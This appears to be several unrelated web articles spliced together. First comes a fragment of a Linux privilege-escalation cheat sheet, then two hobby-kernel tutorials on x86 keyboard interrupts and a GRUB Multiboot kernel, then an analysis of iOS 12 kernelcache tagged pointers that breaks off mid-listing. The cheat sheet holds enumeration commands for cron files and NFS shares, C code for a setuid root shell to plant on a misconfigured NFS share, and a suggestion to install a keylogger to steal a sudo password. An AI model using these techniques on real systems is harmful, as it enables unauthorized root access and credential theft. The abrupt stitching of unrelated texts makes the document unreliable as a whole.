<span class="hljs-comment"># World writable and executable folders</span>
find / \( -perm -o w -perm -o x \) -type d 2&gt;/dev/null

Bad path configuration

Putting 

.

 in the path
If you put a dot in your path you won’t have to write 

./binary

 to be able to execute it. You will be able to execute any script or binary that is in the current directory.

Why do people/sysadmins do this? Because they are lazy and won’t want to write 

./.

This explains it
https://hackmag.com/security/reach-the-root/
And here
http://www.dankalia.com/tutor/01005/0100501004.htm

Cronjob

With privileges running script that are editable for other users.

Look for anything that is owned by privileged user but writable for you:


crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.


mount -l
cat /etc/fstab

NFS Share

If you find that a machine has a NFS share you might be able to use that to escalate privileges. Depending on how it is configured.


# First check if the target machine has any NFS shares
showmount -e 192.168.1.101

# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/

If that succeeds then you can go to 

/tmp/share

. There might be some interesting stuff there. But even if there isn’t you might be able to exploit it.

If you have write privileges you can create files. Test if you can create files, then check with your low-priv shell what user has created that file. If it says that it is the root-user that has created the file it is good news. Then you can create a file and set it with suid-permission from your attacking machine. And then execute it with your low privilege shell.

This code can be compiled and added to the share. Before executing it by your low-priv user make sure to set the suid-bit on it, like this:


chmod 4777 exploit

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/types.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    setuid(<span class="hljs-number">0</span>);
    system(<span class="hljs-string">"/bin/bash"</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}

Steal password through a keylogger

If you have access to an account with sudo-rights but you don’t have its password you can install a keylogger to get it.

World writable directories


/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba

References

http://www.rebootuser.com/?p=1758

http://netsec.ws/?p=309

https://www.trustwave.com/Resources/SpiderLabs-Blog/My-5-Top-Ways-to-Escalate-Privileges/

Watch this video!
http://www.irongeek.com/i.php?page=videos/bsidesaugusta2016/its-too-funky-in-here04-linux-privilege-escalation-for-fun-profit-and-all-around-mischief-jake-williams

http://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections

https://www.rebootuser.com/?page_id=1721

Let’s write a Kernel with keyboard and screen support

origin text

Today, we will extend that kernel to include keyboard driver that can read the characters a-z and 0-9 from the keyboard and print them on screen.

Source code used for this article is available at Github repository — mkeykernel

We communicate with I/O devices using I/O ports. These ports are just specific address on the x86’s I/O bus, nothing more. The read/write operations from these ports are accomplished using specific instructions built into the processor.

 

Reading from and Writing to ports

read_port:
	mov edx, [esp + 4]
	in al, dx	
	ret

write_port:
	mov   edx, [esp + 4]    
	mov   al, [esp + 4 + 4]  
	out   dx, al  
	ret

I/O ports are accessed using the 

in

 and 

out

 instructions that are part of the x86 instruction set.

In 

read_port

, the port number is taken as argument. When compiler calls your function, it pushes all its arguments onto the stack. The argument is copied to the register 

edx

 using the stack pointer. The register 

dx

 is the lower 16 bits of 

edx

. The 

in

 instruction here reads the port whose number is given by 

dx

 and puts the result in 

al

. Register 

al

 is the lower 8 bits of 

eax

. If you remember your college lessons, function return values are received through the 

eax

 register. Thus 

read_port

 lets us read I/O ports.

write_port

 is very similar. Here we take 2 arguments: port number and the data to be written. The 

out

 instruction writes the data to the port.

 

Interrupts

Now, before we go ahead with writing any device driver; we need to understand how the processor gets to know that the device has performed an event.

The easiest solution is polling — to keep checking the status of the device forever. This, for obvious reasons is not efficient and practical. This is where interrupts come into the picture. An interrupt is a signal sent to the processor by the hardware or software indicating an event. With interrupts, we can avoid polling and act only when the specific interrupt we are interested in is triggered.

A device or a chip called Programmable Interrupt Controller (PIC) is responsible for x86 being an interrupt driven architecture. It manages hardware interrupts and sends them to the appropriate system interrupt.

When certain actions are performed on a hardware device, it sends a pulse called Interrupt Request (IRQ) along its specific interrupt line to the PIC chip. The PIC then translates the received IRQ into a system interrupt, and sends a message to interrupt the CPU from whatever it is doing. It is then the kernel’s job to handle these interrupts.

Without a PIC, we would have to poll all the devices in the system to see if an event has occurred in any of them.

Let’s take the case of a keyboard. The keyboard works through the I/O ports 

0x60

 and 

0x64

. Port 

0x60

 gives the data (pressed key) and port 

0x64

 gives the status. However, you have to know exactly when to read these ports.

Interrupts come quite handy here. When a key is pressed, the keyboard gives a signal to the PIC along its interrupt line IRQ1. The PIC has an 

offset

 value stored during initialization of the PIC. It adds the input line number to this 

offset

 to form the Interrupt number. Then the processor looks up a certain data structure called the Interrupt Descriptor Table (IDT) to give the interrupt handler address corresponding to the interrupt number.

Code at this address is then run, which handles the event.

Setting up the IDT

struct IDT_entry{
	unsigned short int offset_lowerbits;
	unsigned short int selector;
	unsigned char zero;
	unsigned char type_attr;
	unsigned short int offset_higherbits;
};

struct IDT_entry IDT[IDT_SIZE];

void idt_init(void)
{
	unsigned long keyboard_address;
	unsigned long idt_address;
	unsigned long idt_ptr[2];

	/* populate IDT entry of keyboard's interrupt */
	keyboard_address = (unsigned long)keyboard_handler; 
	IDT[0x21].offset_lowerbits = keyboard_address & 0xffff;
	IDT[0x21].selector = 0x08; /* KERNEL_CODE_SEGMENT_OFFSET */
	IDT[0x21].zero = 0;
	IDT[0x21].type_attr = 0x8e; /* INTERRUPT_GATE */
	IDT[0x21].offset_higherbits = (keyboard_address & 0xffff0000) >> 16;
	

	/*     Ports
	*	 PIC1	PIC2
	*Command 0x20	0xA0
	*Data	 0x21	0xA1
	*/

	/* ICW1 - begin initialization */
	write_port(0x20 , 0x11);
	write_port(0xA0 , 0x11);

	/* ICW2 - remap offset address of IDT */
	/*
	* In x86 protected mode, we have to remap the PICs beyond 0x20 because
	* Intel have designated the first 32 interrupts as "reserved" for cpu exceptions
	*/
	write_port(0x21 , 0x20);
	write_port(0xA1 , 0x28);

	/* ICW3 - setup cascading */
	write_port(0x21 , 0x00);  
	write_port(0xA1 , 0x00);  

	/* ICW4 - environment info */
	write_port(0x21 , 0x01);
	write_port(0xA1 , 0x01);
	/* Initialization finished */

	/* mask interrupts */
	write_port(0x21 , 0xff);
	write_port(0xA1 , 0xff);

	/* fill the IDT descriptor */
	idt_address = (unsigned long)IDT ;
	idt_ptr[0] = (sizeof (struct IDT_entry) * IDT_SIZE) + ((idt_address & 0xffff) << 16);
	idt_ptr[1] = idt_address >> 16 ;

	load_idt(idt_ptr);
}

We implement IDT as an array comprising structures 

IDT_entry

. We’ll discuss how the keyboard interrupt is mapped to its handler later in the article. First, let’s see how the PICs work.

Modern x86 systems have 2 PIC chips each having 8 input lines. Let’s call them PIC1 and PIC2. PIC1 receives IRQ0 to IRQ7 and PIC2 receives IRQ8 to IRQ15. PIC1 uses port 

0x20

 for Command and 

0x21

 for Data. PIC2 uses port 

0xA0

 for Command and 

0xA1

 for Data.

The PICs are initialized using 8-bit command words known as Initialization command words (ICW). See this link for the exact bit-by-bit syntax of these commands.

In protected mode, the first command you will need to give the two PICs is the initialize command ICW1 (

0x11

). This command makes the PIC wait for 3 more initialization words on the data port.

These commands tell the PICs about:

* Its vector offset. (ICW2)
* How the PICs wired as master/slaves. (ICW3)
* Gives additional information about the environment. (ICW4)

The second initialization command is the ICW2, written to the data ports of each PIC. It sets the PIC’s offset value. This is the value to which we add the input line number to form the Interrupt number.

PICs allow cascading of their outputs to inputs between each other. This is setup using ICW3 and each bit represents cascading status for the corresponding IRQ. For now, we won’t use cascading and set all to zeroes.

ICW4 sets the additional enviromental parameters. We will just set the lower most bit to tell the PICs we are running in the 80×86 mode.

Tang ta dang !! PICs are now initialized.

 

Each PIC has an internal 8 bit register named Interrupt Mask Register (IMR). This register stores a bitmap of the IRQ lines going into the PIC. When a bit is set, the PIC ignores the request. This means we can enable and disable the nth IRQ line by making the value of the nth bit in the IMR as 0 and 1 respectively. Reading from the data port returns value in the IMR register, and writing to it sets the register. Here in our code, after initializing the PICs; we set all bits to 1 thereby disabling all IRQ lines. We will later enable the line corresponding to keyboard interrupt. As of now, let’s disable all the interrupts !!

Now if IRQ lines are enabled, our PICs can receive signals via IRQ lines and convert them to interrupt number by adding with the offset. Now, we need to populate the IDT such that the interrupt number for the keyboard is mapped to the address of the keyboard handler function we will write.

Which interrupt number should the keyboard handler address be mapped against in the IDT?

The keyboard uses IRQ1. This is the input line 1 of PIC1. We have initialized PIC1 to an offset 

0x20

 (see ICW2). To find interrupt number, add 

1

 + 

0x20

 ie. 

0x21

. So, keyboard handler address has to be mapped against interrupt 

0x21

 in the IDT.

So, the next task is to populate the IDT for the interrupt 

0x21

.
We will map this interrupt to a function 

keyboard_handler

 which we will write in our assembly file.

Each IDT entry consist of 64 bits. In the IDT entry for the interrupt, we do not store the entire address of the handler function together. We split it into 2 parts of 16 bits. The lower bits are stored in the first 16 bits of the IDT entry and the higher 16 bits are stored in the last 16 bits of the IDT entry. This is done to maintain compatibility with the 286. You can see Intel pulls shrewd kludges like these in so many places !!

In the IDT entry, we also have to set the type — that this is done to trap an interrupt. We also need to give the kernel code segment offset. GRUB bootloader sets up a GDT for us. Each GDT entry is 8 bytes long, and the kernel code descriptor is the second segment; so its offset is 

0x08

 (More on this would be too much for this article). Interrupt gate is represented by 

0x8e

. The remaining 8 bits in the middle has to be filled with all zeroes. In this way, we have filled the IDT entry corresponding to the keyboard’s interrupt.

Once the required mappings are done in the IDT, we got to tell the CPU where the IDT is located.
This is done via the 

lidt

 assembly instruction. 

lidt

 take one operand. The operand must be a pointer to a descriptor structure that describes the IDT.

The descriptor is quite straight forward. It contains the size of IDT in bytes and its address. I have used an array to pack the values. You may also populate it using a struct.

We have the pointer in the variable 

idt_ptr

 and then pass it on to 

lidt

 using the function 

load_idt()

.

load_idt:
	mov edx, [esp + 4]
	lidt [edx]
	sti
	ret

Additionally, 

load_idt()

 function turns the interrupts on using 

sti

 instruction.

Once the IDT is set up and loaded, we can turn on keyboard’s IRQ line using the interrupt mask we discussed earlier.

void kb_init(void)
{
	/* 0xFD is 11111101 - enables only IRQ1 (keyboard)*/
	write_port(0x21 , 0xFD);
}

 

Keyboard interrupt handling function

Well, now we have successfully mapped keyboard interrupts to the function 

keyboard_handler

 via IDT entry for interrupt 

0x21

.
So, everytime you press a key on your keyboard you can be sure this function is called.

keyboard_handler:                 
	call    keyboard_handler_main
	iretd

This function just calls another function written in C and returns using the 

iret

 class of instructions. We could have written our entire interrupt handling process here, however it’s much easier to write code in C than in assembly — so we take it there.

iret

/

iretd

 should be used instead of 

ret

 when returning control from an interrupt handler to a program that was interrupted by an interrupt. These class of instructions pop the flags register that was pushed into the stack when the interrupt call was made.

void keyboard_handler_main(void) {
	unsigned char status;
	char keycode;

	/* write EOI */
	write_port(0x20, 0x20);

	status = read_port(KEYBOARD_STATUS_PORT);
	/* Lowest bit of status will be set if buffer is not empty */
	if (status & 0x01) {
		keycode = read_port(KEYBOARD_DATA_PORT);
		if(keycode < 0)
			return;
		vidptr[current_loc++] = keyboard_map[keycode];
		vidptr[current_loc++] = 0x07;	
	}
}

We first signal EOI (End Of Interrput acknowlegment) by writing it to the PIC’s command port. Only after this; will the PIC allow further interrupt requests. We have to read 2 ports here — the data port 

0x60

 and the command/status port 

0x64

.

We first read port 

0x64

 to get the status. If the lowest bit of the status is 

0

, it means the buffer is empty and there is no data to read. In other cases, we can read the data port 

0x60

. This port will give us a keycode of the key pressed. Each keycode corresponds to each key on the keyboard. We use a simple character array defined in the file 

keyboard_map.h

 to map the keycode to the corresponding character. This character is then printed on to the screen using the same technique we used in the previous article.

In this article for the sake of brevity, I am only handling lowercase a-z and digits 0-9. You can with ease extend this to include special characters, ALT, SHIFT, CAPS LOCK. You can get to know if the key was pressed or released from the status port output and perform desired action. You can also map any combination of keys to special functions such as shutdown etc.

You can build the kernel, run it on a real machine or an emulator (QEMU) exactly the same way as in the earlier article (its repo).

Start typing !!

kernel running with keyboard support

 

References and Thanks

  1. 1. wiki.osdev.org
  2. 2. osdever.net

 

 

Let’s write a Kernel

origin text

Let us write a simple kernel which could be loaded with the GRUB bootloader on an x86 system. This kernel will display a message on the screen and then hang.

How does an x86 machine boot

Before we think about writing a kernel, let’s see how the machine boots up and transfers control to the kernel:

Most registers of the x86 CPU have well defined values after power-on. The Instruction Pointer (EIP) register holds the memory address for the instruction being executed by the processor. EIP is hardcoded to the value 0xFFFFFFF0. Thus, the x86 CPU is hardwired to begin execution at the physical address 0xFFFFFFF0. It is in fact, the last 16 bytes of the 32-bit address space. This memory address is called reset vector.

Now, the chipset’s memory map makes sure that 0xFFFFFFF0 is mapped to a certain part of the BIOS, not to the RAM. Meanwhile, the BIOS copies itself to the RAM for faster access. This is called shadowing. The address 0xFFFFFFF0 will contain just a jump instruction to the address in memory where BIOS has copied itself.

Thus, the BIOS code starts its execution.  BIOS first searches for a bootable device in the configured boot device order. It checks for a certain magic number to determine if the device is bootable or not. (whether bytes 511 and 512 of first sector are 0xAA55)

Once the BIOS has found a bootable device, it copies the contents of the device’s first sector into RAM starting from physical address 0x7c00; and then jumps into the address and executes the code just loaded. This code is called the bootloader.

The bootloader then loads the kernel at the physical address 0x100000. The address 0x100000 is used as the start-address for all big kernels on x86 machines.

All x86 processors begin in a simplistic 16-bit mode called real mode. The GRUB bootloader makes the switch to 32-bit protected mode by setting the lowest bit of 

CR0

 register to 1. Thus the kernel loads in 32-bit protected mode.

Do note that in case of linux kernel, GRUB detects linux boot protocol and loads linux kernel in real mode. Linux kernel itself makes the switch to protected mode.

 

What all do we need?

* An x86 computer (of course)
* Linux
NASM assembler
* gcc
* ld (GNU Linker)
* grub

 

Source Code

Source code is available at my Github repository — mkernel

 

The entry point using assembly

We like to write everything in C, but we cannot avoid a little bit of assembly. We will write a small file in x86 assembly-language that serves as the starting point for our kernel. All our assembly file will do is invoke an external function which we will write in C, and then halt the program flow.

How do we make sure that this assembly code will serve as the starting point of the kernel?

We will use a linker script that links the object files to produce the final kernel executable. (more explained later)  In this linker script, we will explicitly specify that we want our binary to be loaded at the address 0x100000. This address, as I have said earlier, is where the kernel is expected to be. Thus, the bootloader will take care of firing the kernel’s entry point.

Here’s the assembly code:

;;kernel.asm
bits 32			;nasm directive - 32 bit
section .text

global start
extern kmain	        ;kmain is defined in the c file

start:
  cli 			;block interrupts
  mov esp, stack_space	;set stack pointer
  call kmain
  hlt		 	;halt the CPU

section .bss
resb 8192		;8KB for stack
stack_space:

The first instruction 

bits 32

 is not an x86 assembly instruction. It’s a directive to the NASM assembler that specifies it should generate code to run on a processor operating in 32 bit mode. It is not mandatorily required in our example, however is included here as it’s good practice to be explicit.

The second line begins the text section (aka code section). This is where we put all our code.

global

 is another NASM directive to set symbols from source code as global. By doing so, the linker knows where the symbol 

start

 is; which happens to be our entry point.

kmain

 is our function that will be defined in our 

kernel.c

 file. 

extern

 declares that the function is declared elsewhere.

Then, we have the 

start

 function, which calls the 

kmain

 function and halts the CPU using the 

hlt

 instruction. Interrupts can awake the CPU from an 

hlt

instruction. So we disable interrupts beforehand using 

cli

 instruction. 

cli

 is short for clear-interrupts.

We should ideally set aside some memory for the stack and point the stack pointer (

esp

) to it. However, it seems like GRUB does this for us and the stack pointer is already set at this point. But, just to be sure, we will allocate some space in the BSS section and point the stack pointer to the beginning of the allocated memory. We use the 

resb

 instruction which reserves memory given in bytes. After it, a label is left which will point to the edge of the reserved piece of memory. Just before the 

kmain

 is called, the stack pointer (

esp

) is made to point to this space using the 

mov

 instruction.

 

The kernel in C

In 

kernel.asm

, we made a call to the function 

kmain()

. So our C code will start executing at 

kmain()

:

/*
*  kernel.c
*/
void kmain(void)
{
	const char *str = "my first kernel";
	char *vidptr = (char*)0xb8000; 	//video mem begins here.
	unsigned int i = 0;
	unsigned int j = 0;

	/* this loops clears the screen
	* there are 25 lines each of 80 columns; each element takes 2 bytes */
	while(j < 80 * 25 * 2) {
		/* blank character */
		vidptr[j] = ' ';
		/* attribute-byte - light grey on black screen */
		vidptr[j+1] = 0x07; 		
		j = j + 2;
	}

	j = 0;

	/* this loop writes the string to video memory */
	while(str[j] != '\0') {
		/* the character's ascii */
		vidptr[i] = str[j];
		/* attribute-byte: give character black bg and light grey fg */
		vidptr[i+1] = 0x07;
		++j;
		i = i + 2;
	}
	return;
}

All our kernel will do is clear the screen and write to it the string “my first kernel”.

First we make a pointer 

vidptr

 that points to the address 0xb8000. This address is the start of video memory in protected mode. The screen’s text memory is simply a chunk of memory in our address space. The memory mapped input/output for the screen starts at 0xb8000 and supports 25 lines, each line contain 80 ascii characters.

Each character element in this text memory is represented by 16 bits (2 bytes), rather than 8 bits (1 byte) which we are used to.  The first byte should have the representation of the character as in ASCII. The second byte is the 

attribute-byte

. This describes the formatting of the character including attributes such as color.

To print the character 

s

 in green color on black background, we will store the character 

s

 in the first byte of the video memory address and the value 0x02 in the second byte.

0

 represents black background and 

2

 represents green foreground.

Have a look at table below for different colors:

0 - Black, 1 - Blue, 2 - Green, 3 - Cyan, 4 - Red, 5 - Magenta, 6 - Brown, 7 - Light Grey, 8 - Dark Grey, 9 - Light Blue, 10/a - Light Green, 11/b - Light Cyan, 12/c - Light Red, 13/d - Light Magenta, 14/e - Light Brown, 15/f – White.

 

In our kernel, we will use light grey character on a black background. So our attribute-byte must have the value 0x07.

In the first while loop, the program writes the blank character with 0x07 attribute all over the 80 columns of the 25 lines. This thus clears the screen.

In the second while loop, characters of the null terminated string “my first kernel” are written to the chunk of video memory with each character holding an attribute-byte of 0x07.

This should display the string on the screen.

 

The linking part

We will assemble 

kernel.asm

 with NASM to an object file; and then using GCC we will compile 

kernel.c

 to another object file. Now, our job is to get these objects linked to an executable bootable kernel.

For that, we use an explicit linker script, which can be passed as an argument to 

ld

 (our linker).

/*
*  link.ld
*/
OUTPUT_FORMAT(elf32-i386)
ENTRY(start)
SECTIONS
 {
   . = 0x100000;
   .text : { *(.text) }
   .data : { *(.data) }
   .bss  : { *(.bss)  }
 }

First, we set the output format of our output executable to be 32 bit Executable and Linkable Format (ELF). ELF is the standard binary file format for Unix-like systems on x86 architecture.

ENTRY takes one argument. It specifies the symbol name that should be the entry point of our executable.

SECTIONS is the most important part for us. Here, we define the layout of our executable. We could specify how the different sections are to be merged and at what location each of these is to be placed.

Within the braces that follow the SECTIONS statement, the period character (.) represents the location counter.
The location counter is always initialized to 0x0 at beginning of the SECTIONS block. It can be modified by assigning a new value to it.

Remember, earlier I told you that kernel’s code should start at the address 0x100000. So, we set the location counter to 0x100000.

Have look at the next line .text : { *(.text) }

The asterisk (*) is a wildcard character that matches any file name. The expression

 *(.text)

 thus means all 

.text

 input sections from all input files.

So, the linker merges all text sections of the object files to the executable’s text section, at the address stored in the location counter. Thus, the code section of our executable begins at 0x100000.

After the linker places the text output section, the value of the location counter will become
0x1000000 + the size of the text output section.

Similarly, the data and bss sections are merged and placed at the then values of location-counter.

 

Grub and Multiboot

Now, we have all our files ready to build the kernel. But, since we like to boot our kernel with the GRUB bootloader, there is one step left.

There is a standard for loading various x86 kernels using a boot loader; called as Multiboot specification.

GRUB will only load our kernel if it complies with the Multiboot spec.

According to the spec, the kernel must contain a header (known as Multiboot header) within its first 8 KiloBytes.

Further, This Multiboot header must contain 3 fields that are 4 byte aligned namely:

  • magic field: containing the magic number 0x1BADB002, to identify the header.
  • flags field: We will not care about this field. We will simply set it to zero.
  • checksum field: the checksum field when added to the fields ‘magic’ and ‘flags’ must give zero.

So our 

kernel.asm

 will become:

;;kernel.asm

;nasm directive - 32 bit
bits 32
section .text
        ;multiboot spec
        align 4
        dd 0x1BADB002            ;magic
        dd 0x00                  ;flags
        dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero

global start
extern kmain	        ;kmain is defined in the c file

start:
  cli 			;block interrupts
  mov esp, stack_space	;set stack pointer
  call kmain
  hlt		 	;halt the CPU

section .bss
resb 8192		;8KB for stack
stack_space:

The dd defines a double word of size 4 bytes.

Building the kernel

We will now create object files from 

kernel.asm

 and 

kernel.c

 and then link it using our linker script.

nasm -f elf32 kernel.asm -o kasm.o

will run the assembler to create the object file kasm.o in ELF-32 bit format.

gcc -m32 -c kernel.c -o kc.o

The ’-c ’ option makes sure that after compiling, linking doesn’t implicitly happen.

ld -m elf_i386 -T link.ld -o kernel kasm.o kc.o

will run the linker with our linker script and generate the executable named kernel.

 

Configure your grub and run your kernel

GRUB requires your kernel to be of the name pattern 

kernel-&lt;version&gt;

. So, rename the kernel. I renamed my kernel executable to kernel-701.

Now place it in the /boot directory. You will require superuser privileges to do so.

In your GRUB configuration file 

grub.cfg

 you should add an entry, something like:

title myKernel
	root (hd0,0)
	kernel /boot/kernel-701 ro

 

Don’t forget to remove the directive 

hiddenmenu

 if it exists.

Reboot your computer, and you’ll get a list selection with the name of your kernel listed.

Select it and you should see:

image

That’s your kernel!!

 

PS:

* It’s always advisable to get yourself a virtual machine for all kinds of kernel hacking. * To run this on grub2 which is the default bootloader for newer distros, your config should look like this:

menuentry 'kernel 701' {
	set root='hd0,msdos1'
	multiboot /boot/kernel-701 ro
}

 

* Also, if you want to run the kernel on the 

qemu

 emulator instead of booting with GRUB, you can do so by:

qemu-system-i386 -kernel kernel

Analyzing the iOS 12 kernelcache’s tagged pointers

 

Not long after the iOS 12 developer beta was released, I started analyzing the new kernelcaches in IDA to look for interesting changes. I immediately noticed that ida_kernelcache, my kernelcache analysis toolkit, was failing on the iPhone 6 Plus kernelcache: it appeared that certain segments, notably the prelink segments like 

__PRELINK_TEXT

, were empty. Even stranger, when I started digging around the kernelcache, I noticed that the pointers looked bizarre, starting with 

0x0017

 instead of the traditional 

0xffff

.

It appears that Apple may be making significant changes to the iOS kernelcache on some devices, including abandoning the familiar split-kext design in favor of a monolithic Mach-O and introducing some form of static pointer tagging, most likely as a space-saving optimization. In this post I’ll describe some of the changes I’ve found and share my analysis of the tagged pointers.

The new kernelcache format

The iOS 12 beta kernelcache comes in a new format for some devices. In particular, if you look at build 16A5308e on the iPhone 6 Plus (iPhone7,1), you’ll notice a few differences from iOS 11 kernelcaches:

  • The 
    __TEXT

    __DATA_CONST

    __TEXT_EXEC

    __DATA

    , and 

    __LINKEDIT

     segments are much bigger due to the integration of the corresponding segments from the kexts.

  • There are several new sections:
    • __TEXT.__fips_hmacs
    • __TEXT.__info_plist
    • __TEXT.__thread_starts
    • __TEXT_EXEC.initcode
    • __DATA.__kmod_init

      , which is the combination of the kexts’ 

      __mod_init_func

       sections.

    • __DATA.__kmod_term

      , which is the combination of the kexts’ 

      __mod_term_func

       sections.

    • __DATA.__firmware
    • __BOOTDATA.__data
    • __PRELINK_INFO.__kmod_info
    • __PRELINK_INFO.__kmod_start
  • The segments 
    __PRELINK_TEXT

     and 

    __PLK_TEXT_EXEC

    __PRELINK_DATA

    , and 

    __PLK_DATA_CONST

     are now 0 bytes long.

  • The prelink info dictionary in the section 
    __PRELINK_INFO.__info

     no longer has the 

    _PrelinkLinkKASLROffsets

    and 

    _PrelinkKCID

     keys; only the 

    _PrelinkInfoDictionary

     key remains.

  • There is no symbol information.

This new kernelcache is laid out like follows:


__TEXT.HEADER                 fffffff007004000 - fffffff007008c60  [  19K ]
__TEXT.__const                fffffff007008c60 - fffffff007216c18  [ 2.1M ]
__TEXT.__cstring              fffffff007216c18 - fffffff007448d11  [ 2.2M ]
__TEXT.__os_log               fffffff007448d11 - fffffff007473d6c  [ 172K ]
__TEXT.__fips_hmacs           fffffff007473d6c - fffffff007473d8c  [  32B ]
__TEXT.__thread_starts        fffffff007473d8c - fffffff007473fe4  [ 600B ]
__DATA_CONST.__mod_init_func  fffffff007474000 - fffffff007474220  [ 544B ]
__DATA_CONST.__mod_term_func  fffffff007474220 - fffffff007474438  [ 536B ]
__DATA_CONST.__const          fffffff007474440 - fffffff0076410a0  [ 1.8M ]
__TEXT_EXEC.__text            fffffff007644000 - fffffff0088893f0  [  18M ]
__TEXT_EXEC.initcode          fffffff0088893f0 - fffffff008889a48  [ 1.6K ]
__LAST.__mod_init_func        fffffff00888c000 - fffffff00888c008  [   8B ]
__KLD.__text                  fffffff008890000 - fffffff0088917cc  [ 5.9K ]
__KLD.__cstring               fffffff0088917cc - fffffff008891fa7  [ 2.0K ]
__KLD.__const                 fffffff008891fa8 - fffffff008892010  [ 104B ]
__KLD.__mod_init_func         fffffff008892010 - fffffff008892018  [   8B ]
__KLD.__mod_term_func         fffffff008892018 - fffffff008892020  [   8B ]
__KLD.__bss                   fffffff008892020 - fffffff008892021  [   1B ]
__DATA.__kmod_init            fffffff008894000 - fffffff0088965d0  [ 9.5K ]
__DATA.__kmod_term            fffffff0088965d0 - fffffff008898b28  [ 9.3K ]
__DATA.__data                 fffffff00889c000 - fffffff00890b6e0  [ 446K ]
__DATA.__sysctl_set           fffffff00890b6e0 - fffffff00890db28  [ 9.1K ]
__DATA.__firmware             fffffff00890e000 - fffffff0089867d0  [ 482K ]
__DATA.__common               fffffff008987000 - fffffff0089ed1c8  [ 408K ]
__DATA.__bss                  fffffff0089ee000 - fffffff008a1d6e8  [ 190K ]
__BOOTDATA.__data             fffffff008a20000 - fffffff008a38000  [  96K ]
__PRELINK_INFO.__kmod_info    fffffff008a38000 - fffffff008a38598  [ 1.4K ]
__PRELINK_INFO.__kmod_start   fffffff008a38598 - fffffff008a38b38  [ 1.4K ]
__PRELINK_INFO.__info         fffffff008a38b38 - fffffff008ae9613  [ 707K ]

Of particular consequence to those interested in reversing, the new kernelcaches are missing all symbol information:


% nm kernelcache.iPhone7,1.16A5308e.decompressed | wc -l
       0

So far, Apple hasn’t implemented this new format on all devices. The iPhone 7 (iPhone9,1) kernelcache still has split kexts and the traditional ~4000 symbols.

However, even on devices with the traditional split-kext layout, Apple does appear to be tweaking the format. The layout appears largely the same as before, but loading the kernelcache file into IDA 6.95 generates numerous warnings:


Loading prelinked KEXTs
FFFFFFF005928300: loading com.apple.iokit.IONetworkingFamily
entries start past the end of the indirect symbol table (reserved1 field greater than the table size)
FFFFFFF005929E00: loading com.apple.iokit.IOTimeSyncFamily
entries start past the end of the indirect symbol table (reserved1 field greater than the table size)
FFFFFFF00592D740: loading com.apple.kec.corecrypto
entries start past the end of the indirect symbol table (reserved1 field greater than the table size)
...

Thus, there appear to be at least 3 distinct kernelcache formats:

  • 11-normal: The format used on iOS 10 and 11. It has split kexts, untagged pointers, and about 4000 symbols.
  • 12-normal: The format used on iOS 12 beta for iPhone9,1. It is similar to 11-normal, but with some structural changes that confuse IDA 6.95.
  • 12-merged: The format used on iOS 12 beta for iPhone7,1. It is missing prelink segments, has merged kexts, uses tagged pointers, and, to the dismay of security researchers, is completely stripped.

Unraveling the mystery of the tagged pointers

I first noticed that the pointers in the kernelcache looked weird when I jumped to 

__DATA_CONST.__mod_init_func

 in IDA. In the iPhone 7,1 16A5308e kernelcache, this section looks like this:


__DATA_CONST.__mod_init_func:FFFFFFF00748C000 ; Segment type: Pure data
__DATA_CONST.__mod_init_func:FFFFFFF00748C000                 AREA __DATA_CONST.__mod_init_func, DATA, ALIGN=3
__DATA_CONST.__mod_init_func:FFFFFFF00748C000 off_FFFFFFF00748C000 DCQ 0x0017FFF007C95908
__DATA_CONST.__mod_init_func:FFFFFFF00748C000                                         ; DATA XREF: sub_FFFFFFF00794B1F8+438o
__DATA_CONST.__mod_init_func:FFFFFFF00748C000                                         ; sub_FFFFFFF00794B1F8+4CC7w
__DATA_CONST.__mod_init_func:FFFFFFF00748C008                 DCQ 0x0017FFF007C963D0
__DATA_CONST.__mod_init_func:FFFFFFF00748C010                 DCQ 0x0017FFF007C99E14
__DATA_CONST.__mod_init_func:FFFFFFF00748C018                 DCQ 0x0017FFF007C9B7EC
__DATA_CONST.__mod_init_func:FFFFFFF00748C020                 DCQ 0x0017FFF007C9C854
__DATA_CONST.__mod_init_func:FFFFFFF00748C028                 DCQ 0x0017FFF007C9D6B4

This section should be filled with pointers to initialization functions; in fact, the values look almost like pointers, except the first 2 bytes, which should read 

0xffff

, have been replaced with 

0x0017

. Aside from that, the next 4 digits of the “pointer” are 

fff0

, as expected, and the pointed-to values are all multiples of 4, as required for function pointers on arm64.

This pattern of function pointers was repeated in the other sections. For example, all of 

__DATA.__kmod_init

 and 

__DATA.__kmod_term

 have the same strange pointers:


__DATA.__kmod_init:FFFFFFF0088D4000 ; Segment type: Pure data
__DATA.__kmod_init:FFFFFFF0088D4000                 AREA __DATA.__kmod_init, DATA, ALIGN=3
__DATA.__kmod_init:FFFFFFF0088D4000                 DCQ 0x0017FFF007DD3DC0
__DATA.__kmod_init:FFFFFFF0088D4008                 DCQ 0x0017FFF007DD641C
...
__DATA.__kmod_init:FFFFFFF0088D6600                 DCQ 0x0017FFF0088C9E54
__DATA.__kmod_init:FFFFFFF0088D6608                 DCQ 0x0017FFF0088CA1D0
__DATA.__kmod_init:FFFFFFF0088D6610                 DCQ 0x0007FFF0088CA9E4
__DATA.__kmod_init:FFFFFFF0088D6610 ; __DATA.__kmod_init ends
__DATA.__kmod_term:FFFFFFF0088D6618 ; ===========================================================================
__DATA.__kmod_term:FFFFFFF0088D6618 ; Segment type: Pure data
